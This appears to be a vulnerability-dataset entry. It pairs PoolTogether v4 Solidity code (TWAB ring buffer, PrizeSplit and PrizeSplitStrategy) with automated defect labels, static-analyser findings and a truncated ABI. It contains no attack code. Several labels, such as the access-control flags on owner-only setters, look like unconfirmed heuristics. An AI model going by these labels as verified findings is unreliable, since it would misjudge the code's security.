_accountDetails The current account details /// @param _currentTime The current time /// @return accountDetails The new account details /// @return twab The newest twab (may or may not be brand-new) /// @return isNew Whether the newest twab was created by this call function _nextTwab( ObservationLib.Observation[MAX_CARDINALITY] storage _twabs, AccountDetails memory _accountDetails, uint32 _currentTime ) private returns ( AccountDetails memory accountDetails, ObservationLib.Observation memory twab, bool isNew ) { (, ObservationLib.Observation memory _newestTwab) = newestTwab(_twabs, _accountDetails); // if we're in the same block, return if (_newestTwab.timestamp == _currentTime) { return (_accountDetails, _newestTwab, false); } ObservationLib.Observation memory newTwab = _computeNextTwab( _newestTwab, _accountDetails.balance, _currentTime ); _twabs[_accountDetails.nextTwabIndex] = newTwab; AccountDetails memory nextAccountDetails = push(_accountDetails); return (nextAccountDetails, newTwab, true); } /// @notice "Pushes" a new element on the AccountDetails ring buffer, and returns the new AccountDetails /// @param _accountDetails The account details from which to pull the cardinality and next index /// @return The new AccountDetails function push(AccountDetails memory _accountDetails) internal pure returns (AccountDetails memory) { _accountDetails.nextTwabIndex = uint24( RingBufferLib.nextIndex(_accountDetails.nextTwabIndex, MAX_CARDINALITY) ); // Prevent the Account specific cardinality from exceeding the MAX_CARDINALITY. // The ring buffer length is limited by MAX_CARDINALITY. IF the account.cardinality // exceeds the max cardinality, new observations would be incorrectly set or the // observation would be out of "bounds" of the ring buffer. Once reached the // AccountDetails.cardinality will continue to be equal to max cardinality. if (_accountDetails.cardinality < MAX_CARDINALITY) { _accountDetails.cardinality += 1; } return _accountDetails; } } // File: @pooltogether/v4-core/contracts/prize-strategy/PrizeSplit.sol // SPDX-License-Identifier: GPL-3.0 pragma solidity 0.8.6; import "@pooltogether/owner-manager-contracts/contracts/Ownable.sol"; import "../interfaces/IPrizeSplit.sol"; /** * @title PrizeSplit Interface * @author PoolTogether Inc Team */ abstract contract PrizeSplit is IPrizeSplit, Ownable { /* ============ Global Variables ============ */ PrizeSplitConfig[] internal _prizeSplits; uint16 public constant ONE_AS_FIXED_POINT_3 = 1000; /* ============ External Functions ============ */ /// @inheritdoc IPrizeSplit function getPrizeSplit(uint256 _prizeSplitIndex) external view override returns (PrizeSplitConfig memory) { return _prizeSplits[_prizeSplitIndex]; } /// @inheritdoc IPrizeSplit function getPrizeSplits() external view override returns (PrizeSplitConfig[] memory) { return _prizeSplits; } /// @inheritdoc IPrizeSplit function setPrizeSplits(PrizeSplitConfig[] calldata _newPrizeSplits) external override onlyOwner { uint256 newPrizeSplitsLength = _newPrizeSplits.length; require(newPrizeSplitsLength <= type(uint8).max, "PrizeSplit/invalid-prizesplits-length"); // Add and/or update prize split configs using _newPrizeSplits PrizeSplitConfig structs array. for (uint256 index = 0; index < newPrizeSplitsLength; index++) { PrizeSplitConfig memory split = _newPrizeSplits[index]; // REVERT when setting the canonical burn address. require(split.target != address(0), "PrizeSplit/invalid-prizesplit-target"); // IF the CURRENT prizeSplits length is below the NEW prizeSplits // PUSH the PrizeSplit struct to end of the list. if (_prizeSplits.length <= index) { _prizeSplits.push(split); } else { // ELSE update an existing PrizeSplit struct with new parameters PrizeSplitConfig memory currentSplit = _prizeSplits[index]; // IF new PrizeSplit DOES NOT match the current PrizeSplit // WRITE to STORAGE with the new PrizeSplit if ( split.target != currentSplit.target || split.percentage != currentSplit.percentage ) { _prizeSplits[index] = split; } else { continue; } } // Emit the added/updated prize split config. emit PrizeSplitSet(split.target, split.percentage, index); } // Remove old prize splits configs. Match storage _prizesSplits.length with the passed newPrizeSplits.length while (_prizeSplits.length > newPrizeSplitsLength) { uint256 _index; unchecked { _index = _prizeSplits.length - 1; } _prizeSplits.pop(); emit PrizeSplitRemoved(_index); } // Total prize split do not exceed 100% uint256 totalPercentage = _totalPrizeSplitPercentageAmount(); require(totalPercentage <= ONE_AS_FIXED_POINT_3, "PrizeSplit/invalid-prizesplit-percentage-total"); } /// @inheritdoc IPrizeSplit function setPrizeSplit(PrizeSplitConfig memory _prizeSplit, uint8 _prizeSplitIndex) external override onlyOwner { require(_prizeSplitIndex < _prizeSplits.length, "PrizeSplit/nonexistent-prizesplit"); require(_prizeSplit.target != address(0), "PrizeSplit/invalid-prizesplit-target"); // Update the prize split config _prizeSplits[_prizeSplitIndex] = _prizeSplit; // Total prize split do not exceed 100% uint256 totalPercentage = _totalPrizeSplitPercentageAmount(); require(totalPercentage <= ONE_AS_FIXED_POINT_3, "PrizeSplit/invalid-prizesplit-percentage-total"); // Emit updated prize split config emit PrizeSplitSet( _prizeSplit.target, _prizeSplit.percentage, _prizeSplitIndex ); } /* ============ Internal Functions ============ */ /** * @notice Calculates total prize split percentage amount. * @dev Calculates total PrizeSplitConfig percentage(s) amount. Used to check the total does not exceed 100% of award distribution. * @return Total prize split(s) percentage amount */ function _totalPrizeSplitPercentageAmount() internal view returns (uint256) { uint256 _tempTotalPercentage; uint256 prizeSplitsLength = _prizeSplits.length; for (uint256 index = 0; index < prizeSplitsLength; index++) { _tempTotalPercentage += _prizeSplits[index].percentage; } return _tempTotalPercentage; } /** * @notice Distributes prize split(s). * @dev Distributes prize split(s) by awarding ticket or sponsorship tokens. * @param _prize Starting prize award amount * @return The remainder after splits are taken */ function _distributePrizeSplits(uint256 _prize) internal returns (uint256) { uint256 _prizeTemp = _prize; uint256 prizeSplitsLength = _prizeSplits.length; for (uint256 index = 0; index < prizeSplitsLength; index++) { PrizeSplitConfig memory split = _prizeSplits[index]; uint256 _splitAmount = (_prize * split.percentage) / 1000; // Award the prize split distribution amount. _awardPrizeSplitAmount(split.target, _splitAmount); // Update the remaining prize amount after distributing the prize split percentage. _prizeTemp -= _splitAmount; } return _prizeTemp; } /** * @notice Mints ticket or sponsorship tokens to prize split recipient. * @dev Mints ticket or sponsorship tokens to prize split recipient via the linked PrizePool contract. * @param _target Recipient of minted tokens * @param _amount Amount of minted tokens */ function _awardPrizeSplitAmount(address _target, uint256 _amount) internal virtual; } // File: @pooltogether/v4-core/contracts/prize-strategy/PrizeSplitStrategy.sol // SPDX-License-Identifier: GPL-3.0 pragma solidity 0.8.6; import "./PrizeSplit.sol"; import "../interfaces/IStrategy.sol"; import "../interfaces/IPrizePool.sol"; /** * @title PoolTogether V4 PrizeSplitStrategy * @author PoolTogether Inc Team * @notice Captures PrizePool interest for PrizeReserve and additional PrizeSplit recipients. The PrizeSplitStrategy will have at minimum a single PrizeSplit with 100% of the captured interest transfered to the PrizeReserve. Additional PrizeSplits can be added, depending on the deployers requirements (i.e. percentage to charity). In contrast to previous PoolTogether iterations, interest can be captured independent of a new Draw. Ideally (to save gas) interest is only captured when also distributing the captured prize(s) to applicable Prize Distributor(s). */ contract PrizeSplitStrategy is PrizeSplit, IStrategy { /** * @notice PrizePool address */ IPrizePool internal immutable prizePool; /** * @notice Deployed Event * @param owner Contract owner * @param prizePool Linked PrizePool contract */ event Deployed(address indexed owner, IPrizePool prizePool); /* ============ Constructor ============ */ /** * @notice Deploy the PrizeSplitStrategy smart contract. * @param _owner Owner address * @param _prizePool PrizePool address */ constructor(address _owner, IPrizePool _prizePool) Ownable(_owner) { require( address(_prizePool) != address(0), "PrizeSplitStrategy/prize-pool-not-zero-address" ); prizePool = _prizePool; emit Deployed(_owner, _prizePool); } /* ============ External Functions ============ */ /// @inheritdoc IStrategy function distribute() external override returns (uint256) { uint256 prize = prizePool.captureAwardBalance(); if (prize == 0) return 0; uint256 prizeRemaining = _distributePrizeSplits(prize); emit Distributed(prize - prizeRemaining); return prize; } /// @inheritdoc IPrizeSplit function getPrizePool() external view override returns (IPrizePool) { return prizePool; } /* ============ Internal Functions ============ */ /** * @notice Award ticket tokens to prize split recipient. * @dev Award ticket tokens to prize split recipient via the linked PrizePool contract. * @param _to Recipient of minted tokens. * @param _amount Amount of minted tokens. */ function _awardPrizeSplitAmount(address _to, uint256 _amount) internal override { IControlledToken _ticket = prizePool.getTicket(); prizePool.award(_to, _amount); emit PrizeSplitAwarded(_to, _amount, _ticket); } }
[{"defect": "Nest_Call", "type": "Business_logic", "severity": "High", "lines": ["1932", "1835"]}, {"defect": "Unused_state_variable", "type": "Code_specification", "severity": "Low", "lines": ["1913", "2014", "442", "1930", "1168", "1165", "2035"]}, {"defect": "Exceed_authority_access", "type": "Access_control", "severity": "Medium", "lines": ["426", "387", "402", "414", "394", "1880", "1880", "1880", "1825", "1825", "1825", "1906", "1906", "1810", "1810", "1810", "1820", "1820", "1820", "1922", "1946"]}]
[{"check": "pragma", "impact": "Informational", "confidence": "High", "lines": {"@openzeppelin/contracts/token/ERC20/IERC20.sol": [3], "@openzeppelin/contracts/utils/math/SafeCast.sol": [3], "@pooltogether/owner-manager-contracts/contracts/Ownable.sol": [3], "@pooltogether/v4-core/contracts/external/compound/ICompLike.sol": [3], "@pooltogether/v4-core/contracts/interfaces/IControlledToken.sol": [3], "@pooltogether/v4-core/contracts/interfaces/IPrizePool.sol": [3], "@pooltogether/v4-core/contracts/interfaces/IPrizeSplit.sol": [3], "@pooltogether/v4-core/contracts/interfaces/IStrategy.sol": [3], "@pooltogether/v4-core/contracts/interfaces/ITicket.sol": [3], "@pooltogether/v4-core/contracts/libraries/ExtendedSafeCastLib.sol": [3], "@pooltogether/v4-core/contracts/libraries/ObservationLib.sol": [3], "@pooltogether/v4-core/contracts/libraries/OverflowSafeComparatorLib.sol": [3], "@pooltogether/v4-core/contracts/libraries/RingBufferLib.sol": [3], "@pooltogether/v4-core/contracts/libraries/TwabLib.sol": [3], "@pooltogether/v4-core/contracts/prize-strategy/PrizeSplit.sol": [3], "@pooltogether/v4-core/contracts/prize-strategy/PrizeSplitStrategy.sol": [3]}}, {"check": "costly-loop", "impact": "Informational", "confidence": "Medium", "lines": {"@pooltogether/v4-core/contracts/prize-strategy/PrizeSplit.sol": [82]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"@pooltogether/v4-core/contracts/libraries/TwabLib.sol": [193, 194, 195, 196, 197, 198, 199, 200, 201, 202, 203, 204, 205, 206, 207, 208, 209, 210, 211, 212, 213, 214, 215, 216, 217, 218, 219, 220, 221, 222, 223, 224, 225, 226, 227, 228, 229, 230, 231, 232, 233, 234]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"@pooltogether/v4-core/contracts/libraries/TwabLib.sol": [302, 303, 304, 305, 306, 307, 308, 309, 310, 311, 312, 313, 314, 315, 316, 317, 318, 319, 320, 321, 322, 323, 324, 325, 326, 327, 328, 329, 330, 331, 332, 333, 334, 335, 336, 337, 338, 339, 340, 341, 342, 343, 344, 345, 346, 347]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"@pooltogether/v4-core/contracts/libraries/ExtendedSafeCastLib.sol": [32, 33, 34, 31]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"@openzeppelin/contracts/utils/math/SafeCast.sol": [76, 77, 78, 79]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"@openzeppelin/contracts/utils/math/SafeCast.sol": [136, 133, 134, 135]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"@openzeppelin/contracts/utils/math/SafeCast.sol": [235, 236, 237, 238, 239]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"@pooltogether/v4-core/contracts/libraries/RingBufferLib.sol": [16, 17, 15]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"@openzeppelin/contracts/utils/math/SafeCast.sol": [48, 49, 46, 47]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"@pooltogether/v4-core/contracts/libraries/TwabLib.sol": [357, 358, 359, 360, 361, 362, 363, 364, 365, 366, 367, 368, 369, 370]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"@openzeppelin/contracts/utils/math/SafeCast.sol": [121, 122, 123, 124]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"@pooltogether/v4-core/contracts/libraries/RingBufferLib.sol": [39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"@pooltogether/v4-core/contracts/libraries/TwabLib.sol": [179, 180, 181, 182, 183, 184, 185, 186, 187]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"@openzeppelin/contracts/utils/math/SafeCast.sol": [152, 153, 154, 151]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"@openzeppelin/contracts/utils/math/SafeCast.sol": [187, 188, 189, 190]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"@pooltogether/v4-core/contracts/libraries/ObservationLib.sol": [49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 91, 92, 93, 94]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"@pooltogether/v4-core/contracts/libraries/RingBufferLib.sol": [32, 33, 27, 28, 29, 30, 31]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"@openzeppelin/contracts/utils/math/SafeCast.sol": [169, 170, 171, 172]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"@pooltogether/v4-core/contracts/libraries/OverflowSafeComparatorLib.sol": [64, 65, 66, 67, 68, 69, 56, 57, 58, 59, 60, 61, 62, 63]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"@openzeppelin/contracts/utils/math/SafeCast.sol": [32, 33, 34, 31]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"@pooltogether/v4-core/contracts/libraries/TwabLib.sol": [147, 148, 149, 150, 151, 152, 153, 154, 155, 156, 157, 158, 159]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"@pooltogether/v4-core/contracts/libraries/OverflowSafeComparatorLib.sol": [35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"@openzeppelin/contracts/utils/math/SafeCast.sol": [224, 225, 226, 223]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"@pooltogether/v4-core/contracts/libraries/TwabLib.sol": [415, 416, 417, 418, 419, 420, 421, 422, 423, 424, 425, 426, 427, 428, 429, 430, 431, 432, 433, 434]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"@pooltogether/v4-core/contracts/libraries/TwabLib.sol": [96, 97, 98, 99, 100, 101, 102, 103, 104, 105, 106, 107, 108, 109, 110, 111, 112, 113, 114, 115, 116, 117]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"@openzeppelin/contracts/utils/math/SafeCast.sol": [64, 61, 62, 63]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"@pooltogether/v4-core/contracts/libraries/TwabLib.sol": [129, 130, 131, 132, 133, 134, 135, 136, 137, 138, 139, 140]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"@openzeppelin/contracts/utils/math/SafeCast.sol": [106, 107, 108, 109]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"@openzeppelin/contracts/utils/math/SafeCast.sol": [208, 205, 206, 207]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"@pooltogether/v4-core/contracts/libraries/TwabLib.sol": [256, 257, 258, 259, 260, 261, 262, 263, 264, 265, 266, 267, 268, 269, 270, 271, 272, 273, 274, 275, 276, 277, 278, 279, 280, 281, 282, 283, 284, 244, 245, 246, 247, 248, 249, 250, 251, 252, 253, 254, 255]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"@pooltogether/v4-core/contracts/libraries/RingBufferLib.sol": [55, 56, 57, 58, 59, 60, 61]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"@pooltogether/v4-core/contracts/libraries/OverflowSafeComparatorLib.sol": [15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"@pooltogether/v4-core/contracts/libraries/TwabLib.sol": [166, 167, 168, 169, 170, 171, 172]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"@pooltogether/v4-core/contracts/libraries/TwabLib.sol": [70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"@pooltogether/v4-core/contracts/libraries/ExtendedSafeCastLib.sol": [48, 49, 46, 47]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"@pooltogether/v4-core/contracts/libraries/TwabLib.sol": [384, 385, 386, 387, 388, 389, 390, 391, 392, 393, 394, 395, 396, 397, 398, 399, 400, 401, 402, 403, 404, 405, 406, 407, 408, 409, 410, 380, 381, 382, 383]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"@openzeppelin/contracts/utils/math/SafeCast.sol": [91, 92, 93, 94]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"@openzeppelin/contracts/token/ERC20/IERC20.sol": [3]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"@pooltogether/owner-manager-contracts/contracts/Ownable.sol": [3]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"@openzeppelin/contracts/utils/math/SafeCast.sol": [3]}}, {"check": "shadowing-local", "impact": "Low", "confidence": "High", "lines": {"@pooltogether/v4-core/contracts/external/compound/ICompLike.sol": [10]}}, {"check": "shadowing-local", "impact": "Low", "confidence": "High", "lines": {"@pooltogether/v4-core/contracts/prize-strategy/PrizeSplitStrategy.sol": [39], "@pooltogether/owner-manager-contracts/contracts/Ownable.sol": [24]}}, {"check": "shadowing-local", "impact": "Low", "confidence": "High", "lines": {"@pooltogether/v4-core/contracts/interfaces/ITicket.sol": [79]}}, {"check": "shadowing-local", "impact": "Low", "confidence": "High", "lines": {"@pooltogether/v4-core/contracts/interfaces/ITicket.sol": [79]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"@pooltogether/v4-core/contracts/libraries/RingBufferLib.sol": [28]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"@pooltogether/v4-core/contracts/libraries/TwabLib.sol": [99]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"@pooltogether/v4-core/contracts/libraries/OverflowSafeComparatorLib.sol": [36]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"@pooltogether/v4-core/contracts/libraries/ObservationLib.sol": [52]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"@pooltogether/v4-core/contracts/libraries/OverflowSafeComparatorLib.sol": [18]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"@pooltogether/v4-core/contracts/libraries/OverflowSafeComparatorLib.sol": [37]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"@pooltogether/v4-core/contracts/libraries/TwabLib.sol": [100]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"@pooltogether/v4-core/contracts/libraries/RingBufferLib.sol": [39]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"@pooltogether/v4-core/contracts/libraries/TwabLib.sol": [168]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"@pooltogether/v4-core/contracts/libraries/ObservationLib.sol": [51]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"@pooltogether/v4-core/contracts/libraries/RingBufferLib.sol": [30]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"@pooltogether/v4-core/contracts/libraries/TwabLib.sol": [133]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"@pooltogether/v4-core/contracts/libraries/ExtendedSafeCastLib.sol": [46]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"@pooltogether/v4-core/contracts/libraries/TwabLib.sol": [71]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"@pooltogether/v4-core/contracts/libraries/OverflowSafeComparatorLib.sol": [38]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"@pooltogether/v4-core/contracts/libraries/TwabLib.sol": [97]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"@pooltogether/v4-core/contracts/libraries/ObservationLib.sol": [53]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"@pooltogether/v4-core/contracts/prize-strategy/PrizeSplit.sol": [22]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"@pooltogether/v4-core/contracts/libraries/RingBufferLib.sol": [55]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"@pooltogether/v4-core/contracts/prize-strategy/PrizeSplit.sol": [92]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"@pooltogether/v4-core/contracts/libraries/TwabLib.sol": [132]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"@pooltogether/v4-core/contracts/libraries/RingBufferLib.sol": [39]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"@pooltogether/v4-core/contracts/libraries/RingBufferLib.sol": [15]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"@pooltogether/v4-core/contracts/libraries/ObservationLib.sol": [54]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"@pooltogether/v4-core/contracts/libraries/TwabLib.sol": [167]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"@pooltogether/v4-core/contracts/libraries/OverflowSafeComparatorLib.sol": [16]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"@pooltogether/v4-core/contracts/libraries/RingBufferLib.sol": [29]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"@pooltogether/v4-core/contracts/libraries/TwabLib.sol": [181]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"@pooltogether/v4-core/contracts/prize-strategy/PrizeSplit.sol": [92]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"@pooltogether/v4-core/contracts/libraries/TwabLib.sol": [148]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"@pooltogether/v4-core/contracts/libraries/TwabLib.sol": [182]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"@pooltogether/v4-core/contracts/libraries/TwabLib.sol": [180]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"@pooltogether/v4-core/contracts/libraries/OverflowSafeComparatorLib.sol": [17]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"@pooltogether/v4-core/contracts/libraries/OverflowSafeComparatorLib.sol": [58]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"@pooltogether/v4-core/contracts/libraries/ObservationLib.sol": [50]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"@pooltogether/v4-core/contracts/libraries/TwabLib.sol": [73]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"@pooltogether/v4-core/contracts/libraries/OverflowSafeComparatorLib.sol": [57]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"@pooltogether/v4-core/contracts/libraries/ExtendedSafeCastLib.sol": [31]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"@pooltogether/v4-core/contracts/libraries/TwabLib.sol": [130]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"@pooltogether/v4-core/contracts/libraries/TwabLib.sol": [131]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"@pooltogether/v4-core/contracts/libraries/TwabLib.sol": [72]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"@pooltogether/v4-core/contracts/libraries/TwabLib.sol": [134]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"@pooltogether/v4-core/contracts/prize-strategy/PrizeSplit.sol": [15]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"@pooltogether/v4-core/contracts/libraries/OverflowSafeComparatorLib.sol": [59]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"@pooltogether/v4-core/contracts/libraries/RingBufferLib.sol": [15]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"@pooltogether/owner-manager-contracts/contracts/Ownable.sol": [83]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"@pooltogether/v4-core/contracts/libraries/TwabLib.sol": [149]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"@pooltogether/v4-core/contracts/libraries/ObservationLib.sol": [55]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"@pooltogether/v4-core/contracts/prize-strategy/PrizeSplit.sol": [37]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"@pooltogether/v4-core/contracts/libraries/TwabLib.sol": [415]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"@pooltogether/v4-core/contracts/libraries/RingBufferLib.sol": [55]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"@pooltogether/v4-core/contracts/libraries/TwabLib.sol": [98]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"@pooltogether/v4-core/contracts/libraries/TwabLib.sol": [183]}}, {"check": "reentrancy-events", "impact": "Low", "confidence": "Medium", "lines": {"@pooltogether/v4-core/contracts/prize-strategy/PrizeSplitStrategy.sol": [56]}}, {"check": "reentrancy-events", "impact": "Low", "confidence": "Medium", "lines": {"@pooltogether/v4-core/contracts/prize-strategy/PrizeSplitStrategy.sol": [79]}}]
[]
[{"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 411, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 432, "severity": 1}, {"rule": "SOLIDITY_EXTRA_GAS_IN_LOOPS", "line": 1866, "severity": 1}, {"rule": "SOLIDITY_GAS_LIMIT_IN_LOOPS", "line": 1835, "severity": 2}, {"rule": "SOLIDITY_GAS_LIMIT_IN_LOOPS", "line": 1915, "severity": 2}, {"rule": "SOLIDITY_GAS_LIMIT_IN_LOOPS", "line": 1932, "severity": 2}, {"rule": "SOLIDITY_GAS_LIMIT_IN_LOOPS", "line": 1170, "severity": 1}, {"rule": "SOLIDITY_GAS_LIMIT_IN_LOOPS", "line": 1866, "severity": 1}, {"rule": "SOLIDITY_OVERPOWERED_ROLE", "line": 1826, "severity": 2}, {"rule": "SOLIDITY_OVERPOWERED_ROLE", "line": 1881, "severity": 2}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 7, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 93, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 338, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 359, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 360, "severity": 1}, {"rule": "SOLIDITY_SHOULD_RETURN_STRUCT", "line": 1163, "severity": 1}, {"rule": "SOLIDITY_SHOULD_RETURN_STRUCT", "line": 1425, "severity": 1}, {"rule": "SOLIDITY_SHOULD_RETURN_STRUCT", "line": 1452, "severity": 1}, {"rule": "SOLIDITY_SHOULD_RETURN_STRUCT", "line": 1499, "severity": 1}, {"rule": "SOLIDITY_SHOULD_RETURN_STRUCT", "line": 1518, "severity": 1}, {"rule": "SOLIDITY_SHOULD_RETURN_STRUCT", "line": 1735, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 381, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 1014, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 1997, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 1016, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 1017, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 1018, "severity": 1}]
[{"inputs":[{"internalType":"address","name":"_owner","type":"address"},{"internalType":"contract IPrizePool","name":"_prizePool","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":false,"internalType":"contract IPrizePool","name":"prizePool","type":"address"}],"name":"Deployed","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"totalPrizeCaptured","type":"uint256"}],"name":"Distributed","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"pendingOwner","type":"address"}],"name":"OwnershipOffered","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"user","type":"address"},{"indexed":false,"internalType":"uint256","name":"prizeAwarded","type":"uint256"},{"indexed":true,"internalType":"contract 